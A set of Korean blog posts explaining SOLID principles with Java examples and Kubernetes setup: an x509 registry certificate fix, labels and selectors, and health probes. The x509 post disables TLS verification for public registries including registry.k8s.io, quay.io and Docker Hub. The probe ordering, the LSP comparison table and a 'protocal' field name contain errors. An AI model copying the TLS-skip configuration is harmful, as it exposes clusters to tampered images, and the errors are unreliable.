객체 간 메시지 흐름 설계: 시퀀스 다이어그램을 통해 동작 방식을 정의한다.
구현 및 리팩토링: 설계한 구조를 코드로 변환하고, SOLID 원칙을 적용하여 개선한다.

1. 단일 책임 원칙 (SRP, Single Responsibility Principle)

하나의 Class는 하나의 책임(기능)만 가져야 한다.
- 여러 가지 책임을 가지면 수정할 때 여러 가지 이유로 수정이 필요해지므로, 관리하기 어려워질 수 있다. 하나의 책임이면 해당 책임에 대해서만 수정하면 된다. (1:1)

1-1) SRP 미적용

public class Report {
    private String content;
    private String printType;
    private String savePath;

    public Report(String content, String printType, String savePath) {
        this.content = content;
        this.printType = printType;
        this.savePath = savePath;
    }

    public void generate() {
        System.out.println("Report generated with content: " + content);
    }

    public void print() {
        if (printType.equals("pdf")) {
            System.out.println("Printing report as PDF");
        } else if (printType.equals("text")) {
            System.out.println("Printing report as Text");
        }
    }

    public void save() {
        System.out.println("Saving report at: " + savePath);
    }
}

1-2) SRP 적용

책임(기능)이 분리되어 있어 각각의 클래스는 자신이 맡은 하나의 책임만을 수행 이렇게 책임(기능)이 분리되어있으면 출력 방식이
XML → JSON 으로 변경될 경우 ReportPrinter 클래스만 변경하거나 교체하면 된다. (기능 별로 묶어서 클래스 생성)

public class Report {
    private ReportGenerator generator;
    private ReportPrinter printer;
    private ReportSaver saver;

    public Report(ReportGenerator generator, ReportPrinter printer, ReportSaver saver) {
        this.generator = generator;
        this.printer = printer;
        this.saver = saver;
    }

    public void generate() {
        generator.generate();
    }

    public void print() {
        printer.print();
    }

    public void save() {
        saver.save();
    }
}

ReportGenerator: 보고서를 생성하는 책임만.
ReportPrinter: 보고서를 출력하는 책임만.
ReportSaver: 보고서를 저장하는 책임만.
Report: 이 세 가지 기능을 사용하는 하나의 고수준 인터페이스 역할.

참고
고수준 클래스: 전체적인 일을 담당하는 상위 관리자.
저수준 클래스: 실제로 세부 작업을 처리하는 부서들.

1-3) 비교 요약

항목	SRP 적용	SRP 미적용
책임 분리	각 클래스는 하나의 책임만 맡음 (ReportGenerator, ReportPrinter, ReportSaver)	모든 책임이 Report 클래스에 있음
변경 영향	각 기능을 수정해도 다른 기능에 영향 미치지 않음	하나의 기능 수정 시 다른 기능에도 영향을 미침
유지보수	수정이 용이하고 변경사항 추적이 쉬움	수정 시 다른 부분까지 변경해야 해서 추적이 어려움
기능 확장	새로운 출력 방식, 저장 방식 등을 추가하기 용이	새로운 기능 추가 시 기존 메서드를 변경해야 해서 확장 어려움

2. 개방-폐쇄 원칙 (OCP, Open-Closed Principle)

확장에는 열려 있고, 수정에는 닫혀 있어야 한다.
기존 코드를 수정하지 않고 새로운 기능을 추가할 수 있도록 설계해야 한다.
- 추상화와 상속을 사용하면 기존 코드를 수정하지 않고도 새로운 기능을 추가해 유연성과 확장성이 높아진다.

2-1) OCP 미적용

class PaymentProcessor {
    public void processCreditCardPayment(int amount) {
        System.out.println("Credit Card payment of amount: " + amount);
    }

    public void processPayPalPayment(int amount) {
        System.out.println("PayPal payment of amount: " + amount);
    }

    // 새로운 결제 방식 추가 시 기존 메서드 수정 필요
    public void processCryptoPayment(int amount) {
        System.out.println("Crypto payment of amount: " + amount);
    }
}

2-2) OCP 적용

추상화와 상속을 활용하면, 변하는 부분(결제 방식 등)을 인터페이스로 정의하여, 변경이 자주 일어나는 부분을 추상화할 수 있다.
예를 들면, CryptoPayment클래스를 새로 만들면 PaymentProcessor 클래스를 수정하지 않고도 새로운 결제 방식을 처리할 수 있다. 기존 결제 방식(신용카드, 페이팔)에 영향을 주지 않으니까, OCP가 적용된 설계

/*  결제 방식들을 추상화하고, 각 결제 방식은 인터페이스를 구현 */

// 결제 인터페이스 정의 (추상화)
interface Payment {
    void pay(int amount);
}

// 신용카드 결제 클래스
class CreditCardPayment implements Payment {
    @Override
    public void pay(int amount) {
        System.out.println("Credit Card payment of amount: " + amount);
    }
}

// 페이팔 결제 클래스
class PayPalPayment implements Payment {
    @Override
    public void pay(int amount) {
        System.out.println("PayPal payment of amount: " + amount);
    }
}

// 암호화폐 결제 클래스
class CryptoPayment implements Payment {
    @Override
    public void pay(int amount) {
        System.out.println("Crypto payment of amount: " + amount);
    }
}

// 결제 처리 클래스 (다형성 활용)
class PaymentProcessor {
    private Payment payment;

    // 결제 방식을 주입받음 (다형성)
    public PaymentProcessor(Payment payment) {
        this.payment = payment;
    }

    public void process(int amount) {
        payment.pay(amount);  // 결제 방식에 따라 다르게 처리됨
    }
}

2-3) 비교 요약

항목	OCP 적용	OCP 미적용
새로운 기능 추가	기존 코드 수정 없이 새로운 기능(결제 방식) 추가 가능	기존 코드 수정이 필요. 새로운 메서드를 추가해야 함
유지보수	코드 수정 없이 기능 추가 가능. 새로운 클래스만 추가하면 됨.	기존 코드 수정이 계속 필요. 새로운 결제 방식마다 수정해야 함
확장성	확장이 용이함 (새로운 기능은 기존 코드에 영향 안 줌)	확장 시 코드 수정이 필수적이고, 기존 코드에 영향을 미침
유연성	유연성 높음 (각각의 결제 방식은 독립적으로 처리되며, 다른 결제 방식에 영향을 주지 않음)	유연성이 낮음. 새로운 결제 방식 추가 시, 기존 코드가 변경되어야 함

3. 리스코프 치환 원칙 (LSP, Liskov Substitution Principle)

자식 클래스는 부모 클래스를 대체하여 사용할 수 있어야 한다.
상속받은 클래스가 부모의 기능을 변경하면 안 된다.

3-1) LSP 미적용

Ostrich 객체가 Bird 클래스를 대체할 수 없고, 프로그램의 정상적인 흐름이 깨지게 된다.

class Bird {
    public void fly() {
        System.out.println("I can fly");
    }
}

class Ostrich extends Bird {
    @Override
    public void fly() {
        throw new UnsupportedOperationException("I can't fly");
    }
}

public class Main {
    public static void main(String[] args) {
        Bird bird = new Ostrich();
        bird.fly();  // throws UnsupportedOperationException
    }
}

3-2) LSP 적용

Sparrow 와 Duck 객체는 Bird 클래스를 대체할 수 있고, 프로그램이 의도대로 정상적으로 작동한다.

class Bird {
    public void fly() {
        System.out.println("I can fly");
    }
}

class Sparrow extends Bird {
    @Override
    public void fly() {
        System.out.println("I can fly fast");
    }
}

class Duck extends Bird {
    @Override
    public void fly() {
        System.out.println("I can fly slowly");
    }
}

public class Main {
    public static void main(String[] args) {
        Bird bird = new Sparrow();
        bird.fly();  // "I can fly fast"

        bird = new Duck();
        bird.fly();  // "I can fly slowly"
    }
}

3-3) 비교 요약

항목	LSP 적용	LSP 미적용
상속 관계	자식 클래스가 부모 클래스의 동작을 변경하여 부모 클래스를 대체할 수 없음	자식 클래스가 부모 클래스를 대체할 수 있고, 부모 클래스의 동작을 그대로 유지하면서 확장 가능
기능 확장	자식 클래스가 부모 클래스의 동작을 변경하여 기존 동작이 예기치 않게 동작할 수 있음	자식 클래스가 부모 클래스의 기능을 확장하면서 기존 동작을 유지하도록 함
기존 코드 동작	자식 클래스를 사용하면 부모 클래스를 사용하는 코드에서 예기치 않은 동작이 발생할 수 있음	자식 클래스가 부모 클래스를 대체하더라도 부모 클래스를 사용하는 코드에서 문제 없이 동작함
유지보수 용이성	자식 클래스에서 부모 클래스의 기능을 변경하면, 기존 코드에서 예기치 않은 문제를 발생시킬 수 있음	자식 클래스가 부모 클래스의 기능을 변경하지 않으므로, 기존 코드에서 문제없이 동작하고 유지보수가 용이함
확장성	자식 클래스에서 부모 클래스의 동작을 변경하면 확장이 어려워짐	부모 클래스의 동작을 변경하지 않고 확장 가능함, 새로운 기능을 추가하기 쉬움

4. 인터페이스 분리 원칙 (ISP, Interface Segregation Principle)

"고객은 자신이 사용하지 않는 메서드에 의존하지 말아야 한다"는 원칙이다. 즉, 인터페이스를 작고 구체적으로 만들어서 클라이언트가 자신이 사용하지 않는 메서드를 의존하지 않도록 해야 한다.

인터페이스는 클라이언트가 필요로 하는 기능만 제공해야 한다.
하나의 거대한 인터페이스보다는 작은 인터페이스 여러 개로 분리하는 것이 좋다.

4-1) ISP 미적용

SimplePrinter 클래스는 는 scan과 fax 메서드를 지원하지 않지만, AllInOnePrinter 인터페이스를 구현해야 하므로 UnsupportedOperationException을 던지게 된다. 이처럼 필요하지 않은 메서드를 구현해야 하는 경우가 발생한다.

// 모든 기능을 하나의 인터페이스에 모은 경우
interface AllInOnePrinter {
    void print();
    void scan();
    void fax();
}

// 다기능 프린터 클래스
class MultiFunctionPrinter implements AllInOnePrinter {
   @Override
    public void print() {
        System.out.println("Printing...");
    }
	
    @Override
    public void scan() {
        System.out.println("Scanning...");
    }

   @Override
    public void fax() {
        System.out.println("Faxing...");
    }
}

// 단일 기능 프린터 클래스
class SimplePrinter implements AllInOnePrinter {
    @Override
    public void print() {
        System.out.println("Printing...");
    }

    @Override
    public void scan() {
        // 필요하지 않지만, 메서드가 요구됨
        throw new UnsupportedOperationException("Scan not supported");
    }

    @Override
    public void fax() {
        // 필요하지 않지만, 메서드가 요구됨
        throw new UnsupportedOperationException("Fax not supported");
    }
}

4-2) ISP 적용

각 기능을 별도의 인터페이스로 분리 하고, 필요한 인터페이스만 구현하도록 했다. 예를 들어, SimplePrinter 는 Printer 인터페이스만 구현하고, MultiFunctionPrinter 는 Printer , Scanner, Fax 인터페이스를 모두 구현한다. 이로 인해 클라이언트가 필요하지 않은 메서드를 의존하지 않게 된다.

// 잘게 분리된 인터페이스
interface Printer {
    void print();
}

interface Scanner {
    void scan();
}

interface Fax {
    void fax();
}

// 다기능 프린터 클래스
class MultiFunctionPrinter implements Printer, Scanner, Fax {
    @Override
    public void print() {
        System.out.println("Printing...");
    }
    
    @Override
    public void scan() {
        System.out.println("Scanning...");
    }

    @Override
    public void fax() {
        System.out.println("Faxing...");
    }
}

// 단일 기능 프린터 클래스
class SimplePrinter implements Printer {
    @Override
    public void print() {
        System.out.println("Printing...");
    }
}

4-3) 비교 요약

항목	ISP 적용	ISP 미적용
인터페이스 크기	작은 단위(출력, 스캔, 팩스)로 나뉘어 있음	모든 기능(출력, 스캔, 팩스)이 하나의 인터페이스에 있음
필요 없는 의존성	SimplePrinter는 print()만 구현	SimplePrinter도 scan()과 fax()를 구현해야 함
유지보수성	기존 인터페이스 수정 없이 새로운 기능 추가 가능	새로운 기능 추가 시 기존 인터페이스 수정이 필요
확장성	기능이 추가되어도 기존 인터페이스 변경 없음	기능이 많아질수록 인터페이스가 커지고 관리 어려움

5. 의존 역전 원칙(DIP, Dependency Inversion Principle)

상위 모듈이 하위 모듈(구현)에 의존하지 않고, 추상화(인터페이스)에 의존한다.

5-1) DIP 미적용

class MySQLDatabase {
    public void save(String data) {
        System.out.println("MySQL에 저장: " + data);
    }
}

class UserService {
    private MySQLDatabase db = new MySQLDatabase();  // 구체 클래스에 직접 의존

    public void register(String user) {
        db.save(user);
    }
}

DB를 MongoDB 등으로 바꾸려면 UserService를 직접 수정해야 함
테스트용 DB 모킹도 어려움

5-2) DIP 적용

// 추상화
interface Database {
    void save(String data);
}

// 실제 구현체
class MySQLDatabase implements Database {
    public void save(String data) {
        System.out.println("MySQL에 저장: " + data);
    }
}

// 상위 모듈
class UserService {
    private Database db;

    public UserService(Database db) {  // 생성자 주입
        this.db = db;
    }

    public void register(String user) {
        db.save(user);
    }
}

MongoDBDatabase 같은 다른 구현체로 쉽게 교체 가능
테스트용 가짜 DB 주입도 쉬움 (Mocking 가능)

5-3) 비교 요약

항목	DIP 미적용	DIP 적용
의존 대상	구체 클래스 (MySQL 등)	인터페이스 (추상화)
변경 유연성	낮음 (클래스 수정 필요)	높음 (객체만 교체하면 됨)
테스트 용이성	어려움	쉬움 (Mock 객체 주입 가능)
결합도	높음	낮음 (유지보수 용이)

[K8s / 오류] x509 certificate signed by unknown authority

cob — Fri, 13 Dec 2024 16:18:18 +0900

1. Issue

[ $ sudo kubeadm init ] 초기화 작업 중 인증서 오류 발생

2. Problem

이미지 레지스트리에 접근하려고 할 때, 해당 레지스트리의 SSL 인증서가 시스템에서 신뢰할 수 없는 인증기관(CA)으로 서명되어 있으면 이 오류가 발생한다.

3. Solution

인증서 무시 설정을 통해서 Docker, Containerd가 인증서를 무시하고 접근하게 한다.

3-1. Docker에서 인증서 무시 설정

insecure-registries 항목에 내가 접근하는 레지스트리 URL를 등록한다.

# 도커는 해당 설정 파일을
vi /etc/docker/daemon.json

# daemon.json 수정
{
 "insecure-registries": ["10.254.241.158:8181","registry.k8s.io","quay.io"],
 "exec-opts": ["native.cgroupdriver=systemd"],
 "log-driver": "json-file",
 "log-opts": {
   "max-size": "100m"
 },
 "storage-driver": "overlay2"
}

# 도커 재시작
sudo systemctl restart docker

3-2. Containerd에서 인증서 무시 설정

endpoint와 insecure_skip_verify를 설정해준다.

# Containerd 설정
vi /etc/containerd/config.toml


#### config.toml ####
...
[plugins]
	...
    [plugins."io.containerd.grpc.v1.cri".registry]
      [plugins."io.containerd.grpc.v1.cri".registry.mirrors]
        [plugins."io.containerd.grpc.v1.cri".registry.mirrors."registry.k8s.io"]
          endpoint = ["https://registry.k8s.io"]
        [plugins."io.containerd.grpc.v1.cri".registry.configs."registry.k8s.io".tls]
          insecure_skip_verify = true
        [plugins."io.containerd.grpc.v1.cri".registry.mirrors."10.254.241.158:8181"]
          endpoint = ["http://10.254.241.158:8181"]
        [plugins."io.containerd.grpc.v1.cri".registry.configs."10.254.241.158:8181".tls]
          insecure_skip_verify = true
        [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"]
          endpoint = ["quay.io"]
        [plugins."io.containerd.grpc.v1.cri".registry.configs."quay.io".tls]
          insecure_skip_verify = true
        [plugins."io.containerd.grpc.v1.cri".registry.mirrors."registry-1.docker.io"]
          endpoint = ["registry-1.docker.io"]
        [plugins."io.containerd.grpc.v1.cri".registry.configs."registry-1.docker.io".tls]
          insecure_skip_verify = true
      ...

[k8s] 쿠버네티스 레이블(Label) 설정 및 셀렉터(Selector) 방법

cob — Mon, 2 Dec 2024 22:27:56 +0900

https://kubernetes.io/ko/docs/concepts/overview/working-with-objects/labels/

레이블과 셀렉터

레이블 은 파드와 같은 오브젝트에 첨부된 키와 값의 쌍이다. 레이블은 오브젝트의 특성을 식별하는 데 사용되어 사용자에게 중요하지만, 코어 시스템에 직접적인 의미는 없다. 레이블로 오브

kubernetes.io

1. 레이블(Label)

모든 리소스를 구성하는 강력한 쿠버네티스의 기능이다. 레이블이란 서비스에 붙어놓은 바코드라고 생각하면 된다.(일종의 검색 기능)

1-1) 특징

키/값 쌍
레이블 셀렉터를 사용하면 각종 리소스를 필터링하여 선택할 수 있음
리소스는 한개 이상의 레이블을 가질 수 있다.
리소스를 만드는 시점에 레이블을 첨부할 수 있고, 수정 및 추가도 가능 하지만, 안정적인 실행을 위해 미리 첨부하는 게 좋다
모든 사람들이 쉽게 이해할 수 있는 체계적인 시스템 구축 가능

1-2) Pod 생서 시 레이블(Label) 지정 방법

apiVersion: v1
kind: Pod
metadata:
  labels:
    create_method: manual
    env: prod
  name: nodejs-manual-v2
spec:
  containers:
  - name: nodejs
    image: gasbugs/nodejs
    ports:
    - containerPort: 8080
      protocal: TCP

1-3) 기존 Pod에 레이블(Label) 추가

# 기존 Pod에 추가
kubectl label pod http-go-v2 test=foo

# 기존 Pod의 레이블 수정
kubectl label pod http-go-v2 rel=beta --overwrite

# 기존 Pod 레이블 삭제 (레이블 이름 뒤에 '-' 입력)
kubectl label pod http-go-v2 rel-

1-4) 레이블(Label) 조회

# 전체 Pod label 조회
kubectl get pod --show-labels

# 특정 label 컬럼으로 조회
# kubectl get pod -L {조회할 key 값}
kubectl get pod -L app,rel



### 레이블 필터링 검색 ###
# app이 있는 Pod 검색
kubectl get pod --show-labels -l 'app'

# app이 없는 Pod 검색
kubectl get pod --show-labels -l '!app'

# app이 test가 아닌 Pod 검색
kubectl get pod --show-labels -l 'app!=test'

# app이 test값이 아니고, rel 값이 beta인 Pod 검색
kubectl get pod --show-labels -l 'app!=test, rel=beta'

레이블을 필터링할 때 리눅스 쉘에서는 !, =와 같은 특수문자가 쉘 자체에서 해석될 수 있기 때문에, 이를 올바르게 전달하려면 따옴표로 묶어줘야 한다.

2. 레이블링 전략

2-1) 계층적(Hierarchical) 레이블링

리소스를 계층 구조로 분류하여 관리하는 방법

env=production (환경)
team=frontend (팀)
app=webserver (애플리케이션)

리소스를 환경별, 팀별로 쉽게 그룹화 및 필터링 가능
여러 사용자 및 팀 간 협업에 적합

2-2) 역할 기반(Role-Based) 레이블링

리소스의 역할에 따라 레이블을 지정

tier=backend (애플리케이션 계층)
tier=frontend
role=database

애플리케이션 아키텍처에 따라 리소스를 정리
특정 역할에 맞는 파드나 노드만 선택적 관리 가능

2-3) 배포 및 릴리즈 관리 레이블링

릴리즈 버전이나 배포 상태를 레이블로 관리

release=v1.0.0
deployment=blue (블루-그린 배포)
deployment=green

버전별 리소스 필터링
Canary 또는 Blue-Green 배포 전략에 사용 가능

2-4) 운영 환경(Environment) 레이블링

운영 환경을 나타내는 레이블로 리소스를 분리

env=development
env=staging
env=production

환경별 리소스를 격리하여 사고 위험 최소화
테스트 및 프로덕션 환경 간 구분 명확

2-5) 소유권 및 책임 추적(Ownership) 레이블링

리소스의 소유자나 관리자를 나타내는 레이블

owner=team-a
owner=devops
contact=dev-team@example.com

리소스 문제 발생 시 책임 부서 명확화
관리 및 모니터링 용이

2-6) 애플리케이션 수명 주기 관리 레이블링

애플리케이션 상태를 나타내는 레이블을 사용

stage=alpha
stage=beta
stage=stable

테스트 및 프로덕션 상태 구분
개발 주기 관리에 유용

2-7) 레이블 배치 전략 결합

이러한 전략은 쿠버네티스의 기본적인 레이블링 규칙을 따르며, 상황에 맞게 조합하여 사용하면 리소스 관리와 스케줄링 효율성을 극대화할 수 있다.

labels:
  app: webserver
  env: production
  tier: frontend
  release: v1.0.0
  owner: team-a

[k8s] Pod 라이브네스(Liveness), 레디네스(Readiness), 스타트업(Startup) 프로브 구성 방법

cob — Thu, 28 Nov 2024 23:37:51 +0900

https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/

Configure Liveness, Readiness and Startup Probes

This page shows how to configure liveness, readiness and startup probes for containers. For more information about probes, see Liveness, Readiness and Startup Probes The kubelet uses liveness probes to know when to restart a container. For example, livenes

kubernetes.io

1. 프로브 실행 순서

[라이브네스] -> [리디네스] -> [스타트업]

2. 라이브네스(Liveness) 프로브

라이브네스 - 애플리케이션이 응답 상태 확인
컨테이너의 상태를 주기적으로 확인하여, 컨테이너가 응답하지 않거나 비정상 상태인 경우, 쿠버네티스가 컨테이너를 자동으로 재시작하도록 돕고, 관리자가 직접 개입하지 않아도 애플리케이션의 가용성과 안정성을 유지할 수 있다.

2-1) 예제 1 - 파일로 체크

apiVersion: v1
kind: Pod
metadata:
  labels:
    test: liveness
  name: liveness-exec
spec:
  containers:
  - name: liveness
    image: registry.k8s.io/busybox
    args:
    - /bin/sh
    - -c
    - touch /tmp/healthy; sleep 30; rm -f /tmp/healthy; sleep 600
    livenessProbe:
      exec:
        command:
        - cat
        - /tmp/healthy
      initialDelaySeconds: 5
      periodSeconds: 5

위 코드는 healthy라는 파일을 만들고, 삭제하는 기능의 컨테이너이다. 여기서 Pod의 상태를 확인하는 라이브네스(Liveness) 프로브 방법은 이 healthy라는 파일이 있는지 없는지로 설정했다.(성공 시 0 반환)

initialDelaySeconds: 5
Pod가 실행되고, 5초 후부터 라이브네스 체크
periodSeconds: 5
5초마다 점검

2-2) 예제 2 - HTTP Get 체크

apiVersion: v1
kind: Pod
metadata:
  labels:
    test: liveness
  name: liveness-http
spec:
  containers:
  - name: liveness
    image: registry.k8s.io/e2e-test-images/agnhost:2.40
    args:
    - liveness
    livenessProbe:
      httpGet:
        path: /healthz
        port: 8080
        httpHeaders:
        - name: Custom-Header
          value: Awesome
      initialDelaySeconds: 3
      periodSeconds: 3

GET으로 요청 했을 경우 응답 코드 400 미만은 정상(200대 - 정상, 300대 - 리다이렉션, 400대 - 클라이언트 오류, 500대 - 서버 오류) 그 외는 컨테이너를 재시작한다.

3. 레디네스(Readiness) 프로브

레디네스 - 애플리케이션이 완전한 초기화와 준비 상태를 마치고 실제 요청을 처리할 준비가 된 상태 확인
레디네스 프로브는 Pod가 요청을 처리할 준비가 되었는지 확인한다. 프로브가 실패하면 해당 파드는 서비스의 로드 밸런싱 대상에서 제외되어, 비정상적인 파드로 인해 요청 처리가 실패하는 것을 방지한다. 프로브가 다시 성공하면 파드는 로드 밸런싱 대상에 다시 포함된다.

3-1) 예제 1 - TCP 소켓 체크

apiVersion: v1
kind: Pod
metadata:
  name: goproxy
  labels:
    app: goproxy
spec:
  containers:
  - name: goproxy
    image: registry.k8s.io/goproxy:0.1
    ports:
    - containerPort: 8080
    readinessProbe:
      tcpSocket:
        port: 8080
      initialDelaySeconds: 15
      periodSeconds: 10
    livenessProbe:
      tcpSocket:
        port: 8080
      initialDelaySeconds: 15
      periodSeconds: 10

라이브네스 프로브를 TCP 소켓 통신으로 확인하면, 포트가 열려있기만 해도 응답 가능한 상태라고 판단하고, 레디네스 프로브는 애플리케이션이 완전하게 초기화되어서 외부 요청을 처리할 준비가 되었는지를 확인하게 된다.

4. 스타트업(Startup) 프로브

스타트업 프로브는 애플리케이션이 초기화되는 시간을 보장하기 위해 사용된다. 애플리케이션이 시작되기 전에 라이브니스와 레디네스 프로브가 작동하면, 초기화 시간 동안 컨테이너를 비정상으로 잘못 판단하여 재시작하는 등의 문제를 초래할 수 있다. 스타트업 프로브는 이를 방지하기 위해 초기화가 완료될 때까지 라이브니스와 레디네스 프로브를 비활성화하고, 애플리케이션 시작 후 정상적인 상태 확인 프로세스를 이어갈 수 있도록 한다

4-1) 예제 1 - HTTP GET 체크

ports:
- name: liveness-port
  containerPort: 8080

livenessProbe:
  httpGet:
    path: /healthz
    port: liveness-port
  failureThreshold: 1
  periodSeconds: 10

startupProbe:
  httpGet:
    path: /healthz
    port: liveness-port
  failureThreshold: 30
  periodSeconds: 10

위 예제 처럼 스타트업(Startup) 프로브와 라이브네스(Liveness) 프로브가 HTTP GET으로 동작할 때, 스타트업 프로브가 애플리케이션의 초기화 과정이 완료되었는지 확인하기 전에 라이브네스 프로브가 동작하면, 초기화가 완료되지 않은 상태에서 응답이 비정상적으로 나올 수 있다. 이 경우 Kubernetes는 애플리케이션이 정상적으로 동작하지 않는다고 판단하고 컨테이너를 재시작할 수 있다.
따라서, 애플리케이션의 시작 시간이 오래 걸리는 경우, 스타트업 프로브를 사용하여 애플리케이션이 완전히 시작될 때까지 라이브네스 프로브가 동작하지 않도록 설정하는 것이 중요하다. 스타트업 프로브가 성공적으로 실행된 후에야 라이브네스 프로브가 동작하게 하여, 애플리케이션이 준비되지 않은 상태에서 불필요하게 재시작되는 문제를 방지할 수 있다.

failureThreshold : 30
30번 검사
periodSeconds : 10
10초 간격 수행
30번을 10초 간격으로 수행하기 때문에 총 300초 후에도 컨테이너가 정상 동작 하지 않는경우 종료(300초 동안 컨테이너가 실행되는 시간을 준다.)